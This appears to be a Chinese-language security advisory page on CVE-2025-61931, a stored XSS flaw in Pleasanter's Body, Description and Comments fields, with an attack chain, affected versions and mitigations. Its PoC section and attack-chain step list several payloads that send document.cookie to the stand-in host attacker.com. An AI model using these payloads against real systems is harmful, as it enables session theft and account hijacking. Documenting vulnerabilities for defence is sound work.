IPBUF安全漏洞报告
English
CVE-2025-61931 CVSS 5.4 中危

CVE-2025-61931 Pleasanter 存储型XSS漏洞

披露日期: 2025-10-24

漏洞信息

漏洞编号
CVE-2025-61931
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Pleasanter

相关标签

存储型XSS跨站脚本PleasanterCVE-2025-61931会话劫持Web应用安全认证绕过中危漏洞

漏洞概述

CVE-2025-61931是Pleasanter应用中存在的一个存储型跨站脚本(Stored Cross-Site Scripting)漏洞。该漏洞位于Pleasanter的Body(正文)、Description(描述)和Comments(评论)字段中,攻击者可以通过在这些字段中注入恶意JavaScript代码,当其他用户浏览包含该恶意内容时,脚本将在受害者的浏览器上下文中执行。成功利用此漏洞的攻击者可以窃取用户的会话cookie、劫持用户账户、执行未经授权的操作,甚至传播恶意软件。由于该漏洞为存储型XSS,恶意脚本会持久保存在服务器端,所有访问该内容的用户都会受到影响,危害范围较广。

技术细节

该存储型XSS漏洞源于Pleasanter对用户输入的Body、Description和Comments字段内容缺乏充分的输入验证和输出编码。当用户提交包含恶意脚本的内容时,系统直接将数据存储到数据库中,而未对特殊字符进行HTML实体编码。随后当其他用户访问包含该恶意内容的页面时,服务器从数据库读取数据并直接返回给客户端浏览器,浏览器将其解析为HTML并执行其中的JavaScript代码。攻击者可以利用此漏洞构造如下Payload:<script>alert(document.cookie)</script>或<img src=x onerror=恶意代码>等。攻击者通过诱导具有有效会话的用户访问特制页面,即可实现窃取认证令牌、冒充用户执行操作或修改页面内容等目的。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统使用Pleasanter应用,并确定存在漏洞的输入点(Body、Description、Comments字段)
STEP 2
恶意Payload构造
攻击者构造包含恶意JavaScript代码的Payload,如<script>fetch('https://attacker.com/?c='+document.cookie)</script>
STEP 3
漏洞注入
攻击者将恶意Payload提交到存在漏洞的字段中,数据被持久化存储到数据库
STEP 4
诱导受害者访问
攻击者通过社交工程手段诱导具有有效会话的目标用户访问包含恶意内容的页面
STEP 5
恶意代码执行
受害者的浏览器解析页面时执行存储的恶意脚本,窃取Cookie、会话令牌或其他敏感信息
STEP 6
账户劫持
攻击者利用窃取的凭证冒充受害者执行未授权操作或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS Payload for CVE-2025-61931 --> <!-- Inject in Body, Description or Comments field --> <!-- Basic script injection --> <script>alert('XSS');</script> <!-- Cookie stealing payload --> <script>fetch('https://attacker.com/steal?cookie='+document.cookie);</script> <!-- Image tag-based bypass --> <img src=x onerror="fetch('https://attacker.com/log?data='+document.cookie)"> <!-- SVG-based payload --> <svg/onload=fetch('https://attacker.com/steal?cookie='+btoa(document.cookie))> <!-- Event handler injection --> <body onload="fetch('https://attacker.com/steal?cookie='+document.cookie)">

影响范围

Pleasanter < 1.3.71.0
Pleasanter < 1.4.4.0

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)禁用或限制Comments功能的使用;2)实施输入白名单机制,仅允许安全字符通过;3)部署Web应用防火墙规则检测XSS特征;4)对所有输出内容进行严格的HTML编码;5)加强用户权限控制,限制低权限用户的内容发布权限;6)启用HttpOnly和Secure标志保护Cookie;7)监控应用日志关注异常请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表